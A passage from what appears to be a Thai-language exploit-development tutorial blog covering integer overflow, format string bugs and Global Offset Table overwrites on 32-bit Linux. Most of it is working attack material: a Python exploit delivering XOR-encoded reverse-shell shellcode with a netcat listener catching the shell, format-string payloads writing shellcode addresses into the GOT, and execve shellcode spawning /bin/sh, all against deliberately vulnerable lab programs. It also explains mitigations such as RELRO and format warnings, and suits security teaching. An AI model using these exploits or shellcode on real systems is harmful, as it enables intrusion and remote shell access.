import socket, time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 55555))

s.send("\x7f") # send datalen (127)
s.send("J"*126) # send junk 126 bytes

time.sleep(1)

s.send("A"*10 + "sebp" + "seip" + "\x04\x00\x00\x00" + "A"*104)
s.send("U"*131)
s.close()
$ gdb -q -p 1287
...
(gdb) b *0x8048634
Breakpoint 1 at 0x8048634
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
[New process 1500]
[Switching to process 1500]

Breakpoint 1, 0x08048634 in do_encrypt ()
(gdb) x/8x $ebp-0x88
0xbffff670:     0x55555555      0x55555555      0x55555555      0x55555555
0xbffff680:     0x55555555      0x55555555      0x55555555      0x55555555
(gdb) x/4x $ebp
0xbffff6f8:     0x70626573      0x70696573      0x00000004      0x41414141
(gdb) x/s $ebp
0xbffff6f8:      "sebpseip\004"

ตอนนี้เราได้ข้อมูลครบทุกอย่างสำหรับ exploit แล้ว (address ของ) เหลือเพียงแค่ shellcode โดยผมจะใช้ connect back shellcode ที่ผมเขียนไว้ใน "Linux x86 Shellcode" ซึ่งเป็นดังนี้

\x31\xdb\x8d\x43\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68\x7f\x00\x00\x01\x68\x02\x00\x15\xb3\x89\xe1\x50\x51\x53\x89\xe1\x6a\x03\x5b\xcd\x80\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80

ในโปรแกรมนี้ ไม่มี badchar แต่ข้อมูลจะถูก xor ด้วย 0xaf ก่อนจบ function ดังนั้นเวลาเราส่งข้อมูลที่ถูกเก็บใน buffer เราต้อง xor กับ 0xaf ก่อน และถ้าดูที่ assembly ของ shellcode นี้จะเห็นว่ามีการใช้ push อยู่หลายครั้ง ซึ่งหมายความว่าต้องการใช้ stack ดังนั้นเราต้องไม่ใช่ esp อยู่ใกล้ shellcode ของเราเมื่อ shellocde กำลังทำงานอยู่ โดยผมจะใช้วิธีการเพิ่ม "add $0x80, %esp" เพื่อเลื่อน stack pointer ไปให้ห่างจาก shellcode

เมื่อรวมทุกอย่างเราจะได้โปรแกรม python ดังนี้ (ex_11_1.py)

import socket
import time
from struct import pack

# shellcode address
addr = 0xbffff690

# stack adjustment (add esp, 0x80) (6 bytes)
addesp = "\x81\xc4\x80\x00\x00\x00"
# reverse shell, connect back to 127.0.0.1:5555 (67 bytes)
rsh_sc = "\x31\xdb\x8d\x43\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68\x7f\x00\x00\x01\x68\x02\x00\x15\xb3\x89\xe1\x50\x51\x53\x89\xe1\x6a\x03\x5b\xcd\x80\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"

sc = addesp + rsh_sc

# first data to be sent
payload = "\x90"*(127 - len(sc)) + sc
payload_enc = "".join([ chr(ord(c) ^ 0xaf) for c in payload ])

# connect to the target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 55555))

# send datalen (127)
s.send("\x7f")

# send junk 126 bytes
s.send("J"*126)

# sleep 1 sec before sending again, so the data is not merged in 1 recv
time.sleep(1)

# send data to overwrite the eip and cause the "len" overflow (126 bytes)
# - junk 2 bytes to fill the buffer
# - junk 8 bytes
# - saved ebp 4 bytes
# - saved eip 4 bytes
# - the client_fd argv 4 bytes (4)
# - junk (126 - 17) bytes
s.send("A"*10 + "sebp" + pack("<I", addr) + pack("<I", 4) + "J"*(126 - 22))

# now "len" is overflown to be 126 + 126 = -4
# send 4 bytes to make recv buffer at the beginning again
s.send("\x00"*4)

# send the payload
s.send(payload_enc)

s.close()

ใช้ nc เพื่อ listen ที่่ port 5555 แล้ว run python โปรแกรมข้างบนจะได้

$ nc -vl 5555
Connection from 127.0.0.1 port 5555 [tcp/*] accepted
id
uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
exit

ทำได้แล้ว สำหรับตัวอย่างนี้อาจจะยากไปซักหน่อยสำหรับหลายๆ คน (ผมตั้งใจให้มันยากเอง ^.^) แต่ในบางครั้งเราจำเป็นต้องคิดถึงในหลายๆ เรื่อง เพื่อให้โปรแกรมทำงานต่อไปได้ ถึงแม้จะเกิด overflow ไปแล้ว เพื่อให้โปรแกรมทำงานจนถึง shellcode ที่เราใส่เข้าไป และใน application จริงอาจจะได้เจอโปรแกรมที่มีความซับซ้อนมากกว่านี้

Reference:
- http://www.phrack.org/issues.html?issue=60&id=10
- https://www.owasp.org/index.php/Integer_overflow

Thursday, April 14, 2011

Format String Bug

หลายคนคงเขียนใช้คำสั่ง printf ใน C มาแล้ว format string คือ argument ที่ชื่อว่า format ในตระกูล printf function เช่น printf, fprintf, sprintf เป็นต้น โดยคำสั่งเหล่านี้ สามารถดูรายละเอียดได้ด้วย "man 3 printf"

ฟังก์ชันในตระกูล printf จะรับ argument กี่ตัวก็ได้ โดยปกติเราจะใส่เพิ่มเท่ากับจำนวนตัวแปรที่เราใช้ใน format string เช่น

printf("%s %d %x", "Hello", 1234, 0xabcd);

format string คือ "%s %d %x" ซึ่งต้องการ argument 3 ตัว สำหรับ format string โดยวิธีการเรียก printf function จะเป็นแบบ cdecl (สำหรับคนที่ลืมว่าคืออะไร กลับไปดูได้ที่หัวข้อ Function กับ Stack) คือ argument จะส่งผ่านโดยการนำค่าลงใน stack

แต่ถ้าเราไม่ใส่ argument เพิ่มสำหรับ format string ฟังก์ชัน printf ก็ยังคงทำงานเสมือนเราส่งผ่าน argument ให้ โดยการดึงค่าของ argument ถัดไปจาก stack เรามาดูตัวอย่างกันเลยดีกว่า (ex_10_1.c) เมื่อ compile จะมี warning โดยผมจะพูดถึงทีหลัง

/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_10_1 ex_10_1.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    char buf[512];
    strncpy(buf, argv[1], 510);
    printf(buf);
    
    exit(0);
}

อ่านค่าจาก memory

ในโปรแกรมนี้ จะเห็นว่า strncpy() นี้ ไม่มีการเกิด buffer overflow แต่ในบรรทัด printf นั้นจะเห็นว่า buf คือ format string ดังนั้น input ที่เราใส่เข้าไปจะเป็น format string ดังนั้นถ้าเราลอง

$ ./ex_10_1 "test" && echo
test
$ ./ex_10_1 "%s" && echo
%s
$ ./ex_10_1 "%s%s" && echo
Segmentation fault

ทำไมเกิด "Segmentation fault" เรามาลองดูใน gdb กันดีกว่า

$ gdb -q ./ex_10_1
Reading symbols from /home/worawit/tutz/ch10/ex_10_1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
...
   0x08048460 <+44>:    lea    0x10(%esp),%eax
   0x08048464 <+48>:    mov    %eax,(%esp)
   0x08048467 <+51>:    call   0x8048354 <printf@plt>
...
(gdb) b *0x08048467
Breakpoint 1 at 0x8048467
(gdb) r "%s%s"
Starting program: /home/worawit/tutz/ch10/ex_10_1 "%s%s"

Breakpoint 1, 0x08048467 in main ()
(gdb) x/4x $esp
0xbffff4f0:     0xbffff500      0xbffff8ff      0x000001fe      0x00000000
(gdb) x/s 0xbffff500     # argument ตัวที่1 ของ printf คือ format string
0xbffff500:      "%s%s"
(gdb) x/s 0xbffff8ff     # argument สำหรับ %s แรก
0xbffff8ff:      "%s%s"
(gdb) x/s 0x000001fe     # argument สำหรับ %s ตัวที่สอง
0x1fe:   <Address 0x1fe out of bounds>

จะเห็นว่า argument สำหรับ %s ตัวที่สองนั้น เป็น address ที่ไม่สามารถอ้างถึงได้ ทำให้เกิด segmentation fault ดังนั้นถ้าเราเปลี่ยนจาก %s เป็น %x เพื่อดูค่าต่างๆ ทำให้เราสามารถอ่านค่าต่างๆ ที่อยู่ใน memory ได้ เช่น

$ ./ex_10_1 "%x %x %x %x" && echo
bffff90b 1fe 0 25207825
$ ./ex_10_1 "AAAAAAAA %x %x %x %x %x %x %x %x" && echo
AAAAAAAA bffff8f6 1fe 0 41414141 41414141 20782520 25207825 78252078

จะเห็นว่า เราสามารถ dump ค่าที่อยู่ใน stack ออกมาได้ และถ้าสังเกตค่า 41414141 ค่านี้คือตัวอักษร AAAA ซึ่งเป็น string ที่โปรแกรม copy ไปไว้ใน buf

จาก man page ของ printf เราสามารถที่จะอ้างถึง argument สำหรับ format string ตัวที่ต้องการได้โดยตรง ด้วยการใช้ $ modifier เช่นถ้าเราต้องการให้ print ค่าจาก argument ตัวที่ 4 ของ format string ก็จะเป็น %4$x

$ ./ex_10_1 "AAAA %4\$x" && echo
AAAA 41414141
$ ./ex_10_1 'AAAA %5$x' && echo
AAAA 24352520

ดังนั้น เมื่อเราใช้ $ modifier จะทำให้เราสามารถอ่านค่าจาก memory ในตำแหน่งที่ต้องการได้ เช่นตัวอย่างต่อไปนี้ที่ทำการ dump ค่าออกมา

$ for(( i = 1; i < 50; i++)); do echo -n "$i " && ./ex_10_1 "AAAABBBBCCCCDDDDEEEE1234567890_%$i\$x" && echo; done
1 AAAABBBBCCCCDDDDEEEE1234567890_bffff8f4
2 AAAABBBBCCCCDDDDEEEE1234567890_1fe
3 AAAABBBBCCCCDDDDEEEE1234567890_0
4 AAAABBBBCCCCDDDDEEEE1234567890_41414141
5 AAAABBBBCCCCDDDDEEEE1234567890_42424242
6 AAAABBBBCCCCDDDDEEEE1234567890_43434343
7 AAAABBBBCCCCDDDDEEEE1234567890_44444444
8 AAAABBBBCCCCDDDDEEEE1234567890_45454545
9 AAAABBBBCCCCDDDDEEEE1234567890_34333231
10 AAAABBBBCCCCDDDDEEEE1234567890_38373635
11 AAAABBBBCCCCDDDDEEEE1234567890_255f3039
12 AAAABBBBCCCCDDDDEEEE1234567890_78243231
13 AAAABBBBCCCCDDDDEEEE1234567890_0
...

เขียนค่าลงใน memory

หลังจากอ่านค่าจาก memory ไปแล้ว คราวนี้มาดูวิธีการเขียนค่าลงใน memory บ้าง ถ้าดูที่ "conversion specifier" ใน man page จะเห็นว่าตัว n ใช้สำหรับเขียนจำนวนตัวอักษรที่แสดงผลไปแล้ว ที่ address ที่ระบุใน argument ของ format string เช่น (ex_10_2.c)

/* gcc -o ex_10_2 ex_10_2.c */
#include <stdio.h>

int main(int argc, char **argv)
{
    unsigned int num;
    printf("%s\n%n", argv[1], &num);
    printf("num is %u\n", num);
    return 0;
}
$ ./ex_10_2 a
a
num is 2
$ ./ex_10_2 ab
ab
num is 3
$ ./ex_10_2 12
12
num is 3

จะเห็นว่า num จะเท่ากับจำนวนที่ printf ได้แสดงผลไปแล้ว (รวม \n ด้วยนะครับ)

กลับไปที่ตัวอย่างแรก จะเห็นว่าตอนเรา dump ค่าออกมา จะมีค่าที่เราใส่เข้าไปอยู่ใน stack ด้วย แสดงว่าถ้าเราใส่ค่าเป็น address ของที่เราต้องการที่จะเขียน แล้วใช้ format string %n เพื่อเขียนค่าเข้าไปในตำแหน่งที่เราต้องการ แต่เราจะเขียนทับที่ไหนดีละ

จริงๆ แล้วมีอยู่หลายที่จะเขียนทับได้ แต่ผมจะแสดงการเขียนทับ GOT entry ที่เก็บ address ของ exit function เอาไว้

$ objdump -R ./ex_10_1 | grep exit
08049648 R_386_JUMP_SLOT   exit

หลังจากได้ address เรามาลองเขียนทับกัน โดยจากที่เราทดสอบข้างบน ค่าใน buf จะเริ่มเป็น argument ของ format string ที่ตัวที่ 4 ดังนั้นเวลาเราใช้ $ modifier เราต้องอ้างให้ตรงกับตำแหน่งที่เราใส่ address ของ GOT entry ลงไป

$ gdb -q ./ex_10_1
Reading symbols from /home/worawit/tutz/ch10/ex_10_1...(no debugging symbols found)...done.
(gdb) b *0x08048467
Breakpoint 1 at 0x8048467
(gdb) r `perl -e 'print "\x48\x96\x04\x0812345678%4\\$n"'`

Starting program: /home/worawit/tutz/ch10/ex_10_1 `perl -e 'print "\x48\x96\x04\x0812345678%4\\$n"'`

Breakpoint 1, 0x08048467 in main ()
(gdb) x/x 0x08049648
0x8049648 <_GLOBAL_OFFSET_TABLE_+28>:   0x0804836a
(gdb) ni
0x0804846c in main ()
(gdb) x/x 0x08049648
0x8049648 <_GLOBAL_OFFSET_TABLE_+28>:   0x0000000c    # ที่เป็น 12 เพราะ \x48\x96\x04\x0812345678

เราสามารถแก้ค่าของ GOT entry ได้แล้ว แต่ถ้าจำกันได้ ปกติค่าของ stack ที่เราจะใส่ shellcode จะมีค่าเป็น 0xbf?????? ปกติเราจะใส่จำนวนตัวอักษรที่ยาวขนาดนั้นไม่ได้ แต่เราสามารถที่จะกำหนดความยาวของค่าที่จะพิมพ์ได้ (อยู่ในหัวข้อ The field width ใน man page) เช่น %10d จะพิมพ์ทั้งหมด 10 ตัวอักษร ถ้าตัวเลขยาวไม่พอก็จะ pad ด้วยช่องว่างข้างหน้า

แต่ถ้าเราใส่ค่าขนาดนั้นเพื่อที่จะ print จะพบว่าแค่ print ก็ต้องใช้เวลานานมากๆ วิธีแก้ก็คือเขียน 2 รอบเพื่อแก้ค่าทีละ 2 bytes และเพื่อความสะดวก เราสามารถที่จะใช้ length modifier ตัว h ให้เป็น %hn เพื่อเขียนทีละ 2 bytes

(gdb) r `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$n%512x%5\\$n"'`

Starting program: /home/worawit/tutz/ch10/ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$n%512x%5\\$n"'`

Breakpoint 1, 0x08048467 in main ()
(gdb) x/x 0x08049648
0x8049648 <_GLOBAL_OFFSET_TABLE_+28>:   0x0804836a
(gdb) ni
... # ตัวอักษรที่ print ออกมา
0x0804846c in main ()
(gdb) x/x 0x08049648
0x8049648 <_GLOBAL_OFFSET_TABLE_+28>:   0x04080208  # คิดถึงเรื่อง endian ด้วย

หลังจากทดสอบว่าเราสามารถเขียนค่าได้แล้ว เราก็ต้องมาหา address ของ shellcode เพื่อเป็นค่าที่เราจะเขียนทับ GOT entry

$ ulimit -c unlimited
$ ./ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$hn%512x%5\\$hn" . "\x90"x128 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80"'`
...
Segmentation fault (core dumped)
$ gdb -q ./ex_10_1 core
...
Program terminated with signal 11, Segmentation fault.
#0  0x04080208 in ?? ()
(gdb) x/20x $esp
0xbffff46c:     0x08048478      0x00000000      0xbffff865      0x000001fe
0xbffff47c:     0x00000000      0x08049648      0x0804964a      0x32313525
0xbffff48c:     0x24342578      0x35256e68      0x25783231      0x6e682435
0xbffff49c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff4ac:     0x90909090      0x90909090      0x90909090      0x90909090

ได้ address คือ 0xbffff4b0 ซึ่งจะเห็นว่าค่า 0xf4b0 (62640) นั้นมากกว่า 0xbfff (49151) ดังนั้นผมจะทำการเขียนค่าที่ 0x0804964a ก่อน ซึ่งค่าความยาวที่เราต้องใส่สำหรับ %x แรกคือ 49151 - 8 = 49143 และ %x ที่สองคือ 62640 - 49143 = 13497 ทำให้เราได้ exploit ดังนี้

$ ./ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%49143x%5\\$hn%13497x%4\\$hn" . "\x90"x128 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80"'`
...
$ 

ผ่านไปอีก 1 เทคนิค ก่อนจบกลับไปดูที่ warning ตอนแรกกันก่อน จะเห็นว่า gcc ได้มีการเตือนแล้วเราโค้ดแบบนี้ อาจจะมีปัญหาได้ ซึ่งทำให้ programmer ส่วนมากนั้น จะเจอ bug นี้ตั้งแต่ตอน compile ทำให้ bug นี้นั้น ไม่ค่อยเห็นอีกแล้วในปัจจุบัน และเรายังสามารถให้ gcc แสดงเป็น error สำหรับกรณีเฉพาะได้ด้วย -Werror=format-security

$ gcc -Werror=format-security -o test ex_10_1.c
ex_10_1.c: In function ‘main’:
ex_10_1.c:13: error: format not a string literal and no format arguments

Sunday, April 10, 2011

Overwriting GOT

Global Offset Table (GOT) คือตารางที่ใช้เก็บค่า address ของ function ต่างๆ ที่อยู่ใน Dynamic Shared Object (.so) เพื่อให้โปรแกรมหลักสามารถเรียกใช้งาน function เหล่านี้ได้

ถ้าเราลองดู assembly ของโปรแกรมด้วย gdb (ดูจากหัวข้อที่ผ่านมาก่อนได้) จะเห็นว่า function ที่เราเรียกใช้ใน libc จะมี @plt ต่อท้าย (PLT ย่อมาจาก Procedure Linkage Tble) โดย function ที่มี @plt (อยู่ใน .plt section) จะมีหน้าที่ในการหา address ของ function ที่อยู่ใน Shared Object แล้วใส่ค่าใน GOT เพื่อให้การเรียกครั้งต่อไปไม่ต้องมีการ resolve หา address ของ function ที่จะเรียกอีกรอบ (โดยปกติ เริ่มต้นโปรแกรมจะไม่มีการ resolve address ของ function ใน Shared Object จนกว่าจะมีการเรียก (Lazy Binding))

เพื่อให้เข้าใจ เรามาดูตัวอย่างกันเลยดีกว่า (ex_09_1.c)

/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_09_1 ex_09_1.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
 char *ptr;
 char buf[512];

 ptr = buf;
 strncpy(buf, argv[1], 516);
 printf("ptr address: %p\n", ptr);
 strncpy(ptr, argv[2], 4);
 printf("ptr address: %p\n", ptr);

 return 0;
}

เมื่อเราลอง disassemble main function จะเห็น strncpy@plt กับ printf@plt ตามนี้

$ gdb -q ./ex_09_1
Reading symbols from /home/worawit/tutz/ch09/ex_09_1...(no debugging symbols found)...done.
(gdb) disass main
Dump of assembler code for function main:
   0x080483f4 <+0>:     push   %ebp
...
   0x08048423 <+47>:    mov    %eax,(%esp)
   0x08048426 <+50>:    call   0x8048310 <strncpy@plt>
   0x0804842b <+55>:    mov    $0x8048550,%eax
   0x08048430 <+60>:    mov    0x21c(%esp),%edx
   0x08048437 <+67>:    mov    %edx,0x4(%esp)
   0x0804843b <+71>:    mov    %eax,(%esp)
   0x0804843e <+74>:    call   0x8048330 <printf@plt>
...
   0x0804845e <+106>:   mov    %eax,(%esp)
   0x08048461 <+109>:   call   0x8048310 <strncpy@plt>
   0x08048466 <+114>:   mov    $0x8048550,%eax
   0x0804846b <+119>:   mov    0x21c(%esp),%edx
   0x08048472 <+126>:   mov    %edx,0x4(%esp)
   0x08048476 <+130>:   mov    %eax,(%esp)
   0x08048479 <+133>:   call   0x8048330 <printf@plt>
   0x0804847e <+138>:   mov    $0x0,%eax
   0x08048483 <+143>:   leave
   0x08048484 <+144>:   ret
End of assembler dump.

และเมื่อเราลองรันโปรแกรม แล้วตามไปดูใน strncpy@plt

(gdb) b *0x08048426
Breakpoint 1 at 0x8048426
(gdb) r
Starting program: /home/worawit/tutz/ch09/ex_09_1 a b

Breakpoint 1, 0x08048426 in main ()
(gdb) si
0x08048310 in strncpy@plt ()
(gdb) disass
Dump of assembler code for function strncpy@plt:
=> 0x08048310 <+0>:     jmp    *0x8049660
   0x08048316 <+6>:     push   $0x8
   0x0804831b <+11>:    jmp    0x80482f0
End of assembler dump.
(gdb) x/x 0x8049660
0x8049660 <_GLOBAL_OFFSET_TABLE_+16>:   0x08048316

จะเห็นว่าใน strncpy@plt จะทำการ jump ไปที่ address ที่เก็บไว้ใน 0x8049660 และเมื่อลองดูค่าที่ address 0x8049660 จะเห็นว่า gdb บอกว่า address นี้เป็นส่วนของ GOT โดยค่าของมันคือ address ของคำสั่ง push $0x8 ที่ค่าของ GOT+16 นั่นเป็น address นี้เพราะว่าโปรแกรมยังไม่ได้ทำการ resolve หา address ของ strncpy function ใน libc ซึ่งจะทำการ jump ไปใน code ที่ทำการ resolve address ของ strncpy function

และเมื่อดูใน printf@plt

(gdb) x/3i 0x8048330
   0x8048330 <printf@plt>:      jmp    *0x8049668
   0x8048336 <printf@plt+6>:    push   $0x18
   0x804833b <printf@plt+11>:   jmp    0x80482f0
(gdb) x/x 0x8049668
0x8049668 <_GLOBAL_OFFSET_TABLE_+24>:   0x08048336

จะเห็นว่า printf@plt นั่นจะเหมือน strncpy@plt โดยจะต่างกันที่ address และค่าที่ push โดยค่าที่ push จะเป็นค่าที่ใช้บอกว่าจะให้โปรแกรม resovle address ของ function อะไร

และเมื่อเราปล่อยให้โปรแกรม resolve address ของ strncpy โดยเราจะ set breakpoint ที่ strncpy ใน libc และดูค่าใน GOT+16 อีกครั้งหนึ่ง

(gdb) b strncpy
Breakpoint 2 at 0x1b2a35
(gdb) c
Continuing.

Breakpoint 2, 0x001b2a35 in strncpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/x 0x8049660
0x8049660 <_GLOBAL_OFFSET_TABLE_+16>:   0x001b2a30
(gdb) x/5i 0x001b2a30
   0x1b2a30 <strncpy>:  push   %ebp
   0x1b2a31 <strncpy+1>:        mov    %esp,%ebp
   0x1b2a33 <strncpy+3>:        push   %edi
   0x1b2a34 <strncpy+4>:        push   %esi
=> 0x1b2a35 <strncpy+5>:        sub    $0x4,%esp

จะเห็นว่าโปรแกรม ได้ทำการแก้ไขค่าของ GOT+16 ซึ่งเป็น entry สำหรับ strncpy เป็น address ของ strncpy ใน libc ทำให้การเรียกครั้งต่อไป โปรแกรมจะทำการ jump มาที่ address ของ strncpy (0x001b2a30) ตรงๆ

ถ้าใครยังไม่ค่อยเข้าใจ ลองดูรูปขั้นตอนการ resolve address ของ function และเขียนค่าใน GOT (หวังว่าจะทำให้เข้าใจ)

จากที่กล่าวมาทั้งหมด จะเห็นว่า GOT จะต้องเป็นส่วนที่ read/write เนื่องด้วยโปรแกรมต้องมีการแก้ไขข้อมูลของ GOT และ GOT เป็นที่เก็บข้อมูล address ของ function ต่างๆ ใน library ที่เราจะเรียกใช้ ดังนั้นถ้าเราสามารถเขียนทับค่าใน GOT ได้ และเมื่อโปรแกรมเรียกใช้ function ที่เราแก้ไข address ใน GOT เราจะสามารถควบคุม eip ได้

หลังจากทำความเข้าใจกับ GOT มาพอสมควร เรามาเขียน exploit กัน โดยจากโปรแกรมที่ให้ ปัญหาคือ strncpy แรกจะ copy ข้อมูลไปทับ ptr ทำให้เรากำหนดค่า ptr ได้ และเมื่อรวมกับ strncpy ที่สอง ทำให้เราสามารถเขียนข้อมูลทับที่ไหนก็ได้ 4 bytes โดยในหัวข้อนี้ ผมจะแสดงวิธีการเขียนทับ address ใน GOT

จากโปรแกรมที่ให้ เราสามารถเขียนข้อมูลใน GOT ที่ strncpy ที่สอง และหลังจากนั้นจะมีการเรียก printf function ดังนั้นเป้าหมายที่ผมจะเขียนทับคือ GOT entry ที่เก็บ address ของ printf ไว้ โดยวิธีการหา address ของ GOT entry ต่างๆ สามารถใช้คำสั่ง objdump ดังนี้

$ objdump -R ./ex_09_1

./ex_09_1:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804964c R_386_GLOB_DAT    __gmon_start__
0804965c R_386_JUMP_SLOT   __gmon_start__
08049660 R_386_JUMP_SLOT   strncpy
08049664 R_386_JUMP_SLOT   __libc_start_main
08049668 R_386_JUMP_SLOT   printf

ดังนั้น address ที่เราจะเขียน address ของ shellcode ของเราคือ 0x08049668 หลังจากนั้นสิ่งที่เราต้องการคือ address ของ shellcode

$ ulimit -c unlimited
$ ./ex_09_1 `perl -e 'print "A"x516'` `perl -e 'print "B"x4'`
ptr address: 0x41414141
Segmentation fault (core dumped)
$ gdb ./ex_09_1 core
...
Program terminated with signal 11, Segmentation fault.
#0  0x001b2a5c in strncpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/12x $esp
0xbffff2fc:     0x41414141      0x00000000      0x00000000      0xbffff538
0xbffff30c:     0x08048466      0x41414141      0xbffff912      0x00000004
0xbffff31c:     0xbffff364      0xbffff370      0x00000070      0x0012c524
(gdb)
0xbffff32c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff33c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff34c:     0x41414141      0x41414141      0x41414141      0x41414141

ได้ address ของ shellcode จะอยู่ที่ 0xbffff32c ดังนั้น exploit ของโปรแกรมนี้ จะเป็น

$ ./ex_09_1 `perl -e 'print "\x90"x491 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80" . "\x68\x96\x04\x08"'` `perl -e 'print "\x2c\xf3\xff\xbf"'`
ptr address: 0x8049668
$ ps -f f
UID        PID  PPID  C STIME TTY      STAT   TIME CMD
worawit   1581  1580  0 20:08 pts/0    Ss     0:00 -bash
worawit   1718  1581  0 20:11 pts/0    S      0:00  \_ [sh]
worawit   1720  1718  0 20:11 pts/0    R+     0:00      \_ ps -f f

เทคนิคนี้ ปัจจุบันได้มี option ที่ใช้ป้องกัน คือให้โปรแกรมทำการ resovle address ทั้งหมดตั้งแต่โปรแกรมเริ่ม และ remapped GOT ให้เป็น read-only โดยใช้ gcc option "-z relro -z now" ดังต่อไปนี้

$ gcc -fno-pie -fno-stack-protector -z relro -z now -z execstack -o ex_09_1_2 ex_09_1.c
$ objdump -R ./ex_09_1_2

./ex_09_1_2:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ffc R_386_GLOB_DAT    __gmon_start__
08049fec R_386_JUMP_SLOT   __gmon_start__
08049ff0 R_386_JUMP_SLOT   strncpy
08049ff4 R_386_JUMP_SLOT   __libc_start_main
08049ff8 R_386_JUMP_SLOT   printf
$ gdb ./ex_09_1_2
...
(gdb) b main
Breakpoint 1 at 0x8048417
(gdb) r
Starting program: /home/worawit/tutz/ch09/ex_09_1_2

Breakpoint 1, 0x08048417 in main ()
(gdb) info proc
process 1297
cmdline = '/home/worawit/tutz/ch09/ex_09_1_2'
cwd = '/home/worawit/tutz/ch09'
exe = '/home/worawit/tutz/ch09/ex_09_1_2'
(gdb) shell grep ex_09 /proc/1297/maps
08048000-08049000 r-xp 00000000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2
08049000-0804a000 r-xp 00000000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2  # จะเห็นว่า GOT อยู่ใน section นี้
0804a000-0804b000 rwxp 00001000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2

Reference:
- http://www.iecc.com/linker/linker10.html
- http://tk-blog.blogspot.com/2009/02/relro-not-so-well-known-memory.html